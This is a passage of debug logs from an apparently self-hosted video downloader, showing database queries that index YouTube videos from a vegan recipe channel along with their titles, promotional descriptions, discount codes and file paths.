Fall Vegan Recipes [rfFXEXpg43I].NA", false, false, false, 1, ~U[2025-11-26 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In this what I eat in a day I'll show you all of the healthy high-protein vegan recipes that I eat on a vegan diet to feel good. These cozy recipes are perfect for chilly fall days when the days are shorter and you want a delicious vegan meal to make you feel your best self. Hope you enjoy!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n🌱 RECIPES FEATURED IN THIS EPISODE 🌱\nGingerbread Oatmeal ➡️ https://steamyvegan.com/gingerbread-o...\nCaraemlized Onion Rosé Pasta ➡️ https://steamyvegan.com/caramelized-o...\n\n💚 PRODUCTS I USED IN THIS EPISODE 💚\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n⭐️ The AIR FRYER I Use - Typhur ⭐️ \nSave 10% off with my code below! ⬇️\nDiscount Code: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\nAmazon Link: https://amzn.to/4814bEX\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nWant more cozy fall recipes? Check out these ones:\nPesto Tofu and Teriyaki Tofu: \u00A0\u00A0\u00A0•\u00A02\u00A0Air\u00A0Fryer\u00A0Tofu\u00A0Recipes\u00A0Even\u00A0Tofu\u00A0Haters\u00A0...\u00A0\u00A0\nHomemade Breakfast Sausage: \u00A0\u00A0\u00A0•\u00A0HIgh-Protein\u00A0VEGAN\u00A0Breakfast\u00A0Sausage\u00A0Recip...\u00A0\u00A0\n2 Lazy Girl Dinners: \u00A0\u00A0\u00A0•\u00A02\u00A0Lazy\u00A0Girl\u00A0Vegan\u00A0Recipes\u00A0🥱\u00A0EASY\u00A0&\u00A0DELICIOUS\u00A0\u00A0\n\n💚 OTHER PRODUCTS I LOVE USING 💚\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💪🏼 Aloha Protein Bars\nDiscount: Exclusive 30% off your first purchase between November 19-December 9, 2025. Just click the below link, the discount should pop up in checkout\nLink: https://aloha.com/JANELLECARSS\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "What I Eat in a Day 🌱 Cozy, Feel Good, Fall Vegan Recipes", 1, nil, false, "rfFXEXpg43I", "https://www.youtube.com/watch?v=rfFXEXpg43I", "/downloads/downloads/alec/Steamy Vegan/2025-11-26 What I Eat in a Day 🌱 Cozy, Feel Good, Fall Vegan Recipes/What I Eat in a Day 🌱 Cozy, Feel Good, Fall Vegan Recipes [rfFXEXpg43I].NA", false, ~U[2025-11-26 00:00:00Z]] 20:31:06.390 [debug] QUERY OK source="sources" db=1.7ms idle=14.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.392 [debug] QUERY OK source="media_items" db=2.1ms idle=14.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-23 00:00:00Z], 1] 20:31:06.410 [debug] QUERY OK source="media_items" db=17.2ms idle=15.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I'm reviewing the Typhur Sync Air Fryer! I'll go over all it's key features and benefits and why you might want to purchase it, show you all the different foods I've cooked in it, demonstrate how the wireless thermometer works, and give you my overall thoughts on my experience with it!\n\n⭐️ The AIR FRYER I Use - Typhur ⭐️ \nSave 10% off with my code below! ⬇️\nDiscount Code: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\nAmazon Link: https://amzn.to/4814bEX\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n\n💚 OTHER PRODUCTS I LOVE USING 💚\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💪🏼Aloha Protein Bars\nDiscount: Exclusive 30% off your first purchase between November 19-December 9, 2025. Just click the below link, the discount should pop up in checkout\nLink: https://aloha.com/JANELLECARSS\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "TYPHUR Sync Air Fryer Review! 🔥 A vegan's honest take", "3f5d9b08-eee1-4003-9cf2-246bf8170c70", 1, [], false, "dCIgc2WDVjE", "https://www.youtube.com/watch?v=dCIgc2WDVjE", 36, "/downloads/downloads/alec/Steamy Vegan/2025-11-23 TYPHUR Sync Air Fryer Review! 🔥 A vegan's honest take/TYPHUR Sync Air Fryer Review! 🔥 A vegan's honest take [dCIgc2WDVjE].NA", false, false, false, 1, ~U[2025-11-23 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In this video I'm reviewing the Typhur Sync Air Fryer! I'll go over all it's key features and benefits and why you might want to purchase it, show you all the different foods I've cooked in it, demonstrate how the wireless thermometer works, and give you my overall thoughts on my experience with it!\n\n⭐️ The AIR FRYER I Use - Typhur ⭐️ \nSave 10% off with my code below! ⬇️\nDiscount Code: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\nAmazon Link: https://amzn.to/4814bEX\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n\n💚 OTHER PRODUCTS I LOVE USING 💚\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💪🏼Aloha Protein Bars\nDiscount: Exclusive 30% off your first purchase between November 19-December 9, 2025. Just click the below link, the discount should pop up in checkout\nLink: https://aloha.com/JANELLECARSS\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "TYPHUR Sync Air Fryer Review! 🔥 A vegan's honest take", 1, nil, false, "dCIgc2WDVjE", "https://www.youtube.com/watch?v=dCIgc2WDVjE", "/downloads/downloads/alec/Steamy Vegan/2025-11-23 TYPHUR Sync Air Fryer Review! 🔥 A vegan's honest take/TYPHUR Sync Air Fryer Review! 🔥 A vegan's honest take [dCIgc2WDVjE].NA", false, ~U[2025-11-23 00:00:00Z]] 20:31:06.412 [debug] QUERY OK source="sources" db=0.9ms queue=0.7ms idle=30.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.415 [debug] QUERY OK source="media_items" db=2.3ms idle=24.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-20 00:00:00Z], 1] 20:31:06.418 [debug] QUERY OK source="media_items" db=2.0ms idle=25.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These 2 tofu recipes are some of the crispiest tofu recipes I've ever made and they're perfect for turning tofu skeptics into lovers. The Tyhpur Air Fryer that I used to cook up these tofu recipes was one of the biggest reasons they turned out so amazing...check the air fryer out below, it won't disappoint! \n\nDISCOUNT CODE\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\nAmazon Link: https://amzn.to/4814bEX\n\nSubscribe to the channel here (FREE!):\nhttps://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nTOFU RECIPES (hitting blog soon, guys!) \n\nPESTO TOFU ➡️ https://steamyvegan.com/pesto-tofu/\nTERIYAKI TOFU ➡️ https://steamyvegan.com/teriyaki-tofu/\n\n\n💚 PRODUCTS I LOVE USING 💚\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💪🏼Aloha Protein Bars\nDiscount: Exclusive 30% off your first purchase between November 19-December 9, 2025. Just click the below link, the discount should pop up in checkout\nLink: https://aloha.com/JANELLECARSS\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "2 Air Fryer Tofu Recipes Even Tofu Haters Will Love", "a06b7a7a-01d2-4dee-a388-2b405549c85f", 1, [], false, "mlNvaixCniw", "https://www.youtube.com/watch?v=mlNvaixCniw", 37, "/downloads/downloads/alec/Steamy Vegan/2025-11-20 2 Air Fryer Tofu Recipes Even Tofu Haters Will Love/2 Air Fryer Tofu Recipes Even Tofu Haters Will Love [mlNvaixCniw].NA", false, false, false, 1, ~U[2025-11-20 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "These 2 tofu recipes are some of the crispiest tofu recipes I've ever made and they're perfect for turning tofu skeptics into lovers. The Tyhpur Air Fryer that I used to cook up these tofu recipes was one of the biggest reasons they turned out so amazing...check the air fryer out below, it won't disappoint! \n\nDISCOUNT CODE\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\nAmazon Link: https://amzn.to/4814bEX\n\nSubscribe to the channel here (FREE!):\nhttps://bit.ly/SteamyVegan\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nTOFU RECIPES (hitting blog soon, guys!) \n\nPESTO TOFU ➡️ https://steamyvegan.com/pesto-tofu/\nTERIYAKI TOFU ➡️ https://steamyvegan.com/teriyaki-tofu/\n\n\n💚 PRODUCTS I LOVE USING 💚\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💪🏼Aloha Protein Bars\nDiscount: Exclusive 30% off your first purchase between November 19-December 9, 2025. Just click the below link, the discount should pop up in checkout\nLink: https://aloha.com/JANELLECARSS\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "2 Air Fryer Tofu Recipes Even Tofu Haters Will Love", 1, nil, false, "mlNvaixCniw", "https://www.youtube.com/watch?v=mlNvaixCniw", "/downloads/downloads/alec/Steamy Vegan/2025-11-20 2 Air Fryer Tofu Recipes Even Tofu Haters Will Love/2 Air Fryer Tofu Recipes Even Tofu Haters Will Love [mlNvaixCniw].NA", false, ~U[2025-11-20 00:00:00Z]] 20:31:06.419 [debug] QUERY OK source="sources" db=0.8ms idle=25.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.421 [debug] QUERY OK source="media_items" db=2.4ms idle=8.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-18 00:00:00Z], 1] 20:31:06.424 [debug] QUERY OK source="media_items" db=1.6ms idle=9.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I tried over 20 different brands of vegan protein bars to find the best vegan and gluten-free protein bars on the market. I found the best protien bars for all types of taste buds from the tastiest, to the best texture to the cleanest ingredients.\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💚 DISCOUNT CODES💚\n💪🏼 WellBean Protein Bars 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💪🏼Nugo Nutrition\nDiscount: 50% off variety packs\nLink: https://nugonutrition.com/janelle74\n\n💪🏼Aloha Protein Bars\nDiscount: 30% off your first purchase at checkout when you use the below link\nLink: https://aloha.com/JANELLECARSS\n\n💪🏼Mezcla Protein Bars\nDiscount: 10% off on 16 bar packs or greater\nCode: STEAMYVEGAN\nhttps://www.eatmezcla.com/STEAMYVEGAN\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nOther Videos You Might Be Interested in:\n1. Protein Powder Review Video: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n2. Mushroom Coffee Review Video: \u00A0\u00A0\u00A0•\u00A0Mushroom\u00A0Coffee\u00A0In-Depth\u00A0Review....Four\u00A0Si...\u00A0\u00A0\n3. Homemade Protein Bar Recipe: \u00A0\u00A0\u00A0•\u00A0My\u00A0go-to\u00A0homemade\u00A0protein\u00A0bars!\u00A0\u00A0💪🏼\u00A0Vegan,...\u00A0\u00A0\n\nTimestamps\n0:00 - Introduction\n2:21 - Nugo Nutrition Protein Bars\n3:40 - Nugo Nutrition Dark Protein Bars\n5:39 - No Cow Protein Bars\n7:08 - Barebells Vegan Protein Bars\n8:37 - Misfits Protein Bars\n9:47 - Clif Builders Bars\n10:58 - Probar Protein Bars\n12:36 - Aloha Protein Bars\n14:02 - Mezcla Protein Bars\n15:35 - Iron Vegan Protein Bars\n16:27 - Kate's Real Food Protein Bars\n17:23 - Trubar Protein Bars\n18:39 - WellBean Bean Bars\n19:42 - Larabar\n20:25 - GoMacro Protein Bars\n21:27 - Truvani Only Bar\n22:31 - Lenny and Larry's Protein Cookie\n23:28 - Skout Snack Bar\n24:38 - PB and Me Bar\n25:13 - IQ Bar Protein Bars", "I Tried 20 of the Best Vegan Protein Bars So You Don't Have To", "95babf12-7ffc-4e27-b168-b60c72954b4f", 1, [], false, "wytiItXQ_6M", "https://www.youtube.com/watch?v=wytiItXQ_6M", 38, "/downloads/downloads/alec/Steamy Vegan/2025-11-18 I Tried 20 of the Best Vegan Protein Bars So You Don't Have To/I Tried 20 of the Best Vegan Protein Bars So You Don't Have To [wytiItXQ_6M].NA", false, false, false, 1, ~U[2025-11-18 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "I tried over 20 different brands of vegan protein bars to find the best vegan and gluten-free protein bars on the market. I found the best protien bars for all types of taste buds from the tastiest, to the best texture to the cleanest ingredients.\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💚 DISCOUNT CODES💚\n💪🏼 WellBean Protein Bars 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💪🏼Nugo Nutrition\nDiscount: 50% off variety packs\nLink: https://nugonutrition.com/janelle74\n\n💪🏼Aloha Protein Bars\nDiscount: 30% off your first purchase at checkout when you use the below link\nLink: https://aloha.com/JANELLECARSS\n\n💪🏼Mezcla Protein Bars\nDiscount: 10% off on 16 bar packs or greater\nCode: STEAMYVEGAN\nhttps://www.eatmezcla.com/STEAMYVEGAN\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nOther Videos You Might Be Interested in:\n1. Protein Powder Review Video: \u00A0\u00A0\u00A0•\u00A0I\u00A0Tested\u00A040\u00A0Plant-Based\u00A0Protein\u00A0Powders\u00A0So...\u00A0\u00A0\n2. Mushroom Coffee Review Video: \u00A0\u00A0\u00A0•\u00A0Mushroom\u00A0Coffee\u00A0In-Depth\u00A0Review....Four\u00A0Si...\u00A0\u00A0\n3. Homemade Protein Bar Recipe: \u00A0\u00A0\u00A0•\u00A0My\u00A0go-to\u00A0homemade\u00A0protein\u00A0bars!\u00A0\u00A0💪🏼\u00A0Vegan,...\u00A0\u00A0\n\nTimestamps\n0:00 - Introduction\n2:21 - Nugo Nutrition Protein Bars\n3:40 - Nugo Nutrition Dark Protein Bars\n5:39 - No Cow Protein Bars\n7:08 - Barebells Vegan Protein Bars\n8:37 - Misfits Protein Bars\n9:47 - Clif Builders Bars\n10:58 - Probar Protein Bars\n12:36 - Aloha Protein Bars\n14:02 - Mezcla Protein Bars\n15:35 - Iron Vegan Protein Bars\n16:27 - Kate's Real Food Protein Bars\n17:23 - Trubar Protein Bars\n18:39 - WellBean Bean Bars\n19:42 - Larabar\n20:25 - GoMacro Protein Bars\n21:27 - Truvani Only Bar\n22:31 - Lenny and Larry's Protein Cookie\n23:28 - Skout Snack Bar\n24:38 - PB and Me Bar\n25:13 - IQ Bar Protein Bars", "I Tried 20 of the Best Vegan Protein Bars So You Don't Have To", 1, nil, false, "wytiItXQ_6M", "https://www.youtube.com/watch?v=wytiItXQ_6M", "/downloads/downloads/alec/Steamy Vegan/2025-11-18 I Tried 20 of the Best Vegan Protein Bars So You Don't Have To/I Tried 20 of the Best Vegan Protein Bars So You Don't Have To [wytiItXQ_6M].NA", false, ~U[2025-11-18 00:00:00Z]] 20:31:06.425 [debug] QUERY OK source="sources" db=1.1ms idle=9.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.428 [debug] QUERY OK source="media_items" db=2.5ms idle=8.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-15 00:00:00Z], 1] 20:31:06.430 [debug] QUERY OK source="media_items" db=1.4ms idle=9.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this what I eat in a day I'll show you a few high protein vegan recipes that I eat when I'm craving some lazy girl meals and just want some easy and quick high protein vegan recipes. Each of these recipes could be amazing ideas for meal prep for the week like my tofu scramble recipe, homemade sausages, or my tofu noodle bowl for dinners. \n\nNeed a new jacket for this Fall or Winter? ❄️ Check out NOIZE outerwear below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm and cozy!\nDiscount: 10% off\nLink: noize.com/Janelle\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nRecipes from my BLOG featured in today's episode:\nVEGAN BREAKFAST SAUSAGES 👉🏻 https://steamyvegan.com/vegan-breakfa...\nTOFU NOODLE BOWLS 👉🏻 https://steamyvegan.com/tofu-noodle-b...\n\nMore What I Eat in a Day Episodes Just Like This One\n1. What I Eat in a Day: \n\u00A0\u00A0\u00A0•\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Day\u00A0🌱\u00A0LAZY\u00A0vegan\u00A0meals\u00A0to\u00A0...\u00A0\u00A0\n2. Realistic What I Eat in a Day: \n\u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0Vegan\u00A0What\u00A0I\u00A0Eat\u00A0in\u00A0a\u00A0Day\u00A0Vlog\u00A0🌱...\u00A0\u00A0\n3. Pam Anderson Recipes: \n\u00A0\u00A0\u00A0•\u00A0Recipes\u00A0from\u00A0Pamela\u00A0Anderson's\u00A0VEGAN\u00A0Cookb...\u00A0\u00A0\n\n💚 OTHER PRODUCTS I LOVE USING 💚\n💪🏼 WellBean Muggins & Protein Bars Discount 💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\nFree Music for Videos 👉 Music by Mark Generous - White Peony - https://thmatc.co/?l=B7DC5A35\nFree Music for Videos 👉 Music by frumhere - the place we go. - https://thmatc.co/?l=452E5134\nFree Music for Videos 👉 Music by Mark Generous - Earl Grey - https://thmatc.co/?l=4AD800F9", "What I Eat in a Day 🌱 EASY high protein vegan meals (REALISTIC)", "1b6faa62-25c8-4747-909d-85eebb18b8b1", 1, [], false, "8XL7V5tP6Ec", "https://www.youtube.com/watch?v=8XL7V5tP6Ec", 39, "/downloads/downloads/alec/Steamy Vegan/2025-11-15 What I Eat in a Day 🌱 EASY high protein vegan meals (REALISTIC)/What I Eat in a Day 🌱 EASY high protein vegan meals (REALISTIC) [8XL7V5tP6Ec].NA", false, false, false, 1, ~U[2025-11-15 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In this what I eat in a day I'll show you a few high protein vegan recipes that I eat when I'm craving some lazy girl meals and just want some easy and quick high protein vegan recipes. Each of these recipes could be amazing ideas for meal prep for the week like my tofu scramble recipe, homemade sausages, or my tofu noodle bowl for dinners. \n\nNeed a new jacket for this Fall or Winter? ❄️ Check out NOIZE outerwear below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm and cozy!\nDiscount: 10% off\nLink: noize.com/Janelle\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nRecipes from my BLOG featured in today's episode:\nVEGAN BREAKFAST SAUSAGES 👉🏻 https://steamyvegan.com/vegan-breakfa...\nTOFU NOODLE BOWLS 👉🏻 https://steamyvegan.com/tofu-noodle-b...\n\nMore What I Eat in a Day Episodes Just Like This One\n1. What I Eat in a Day: 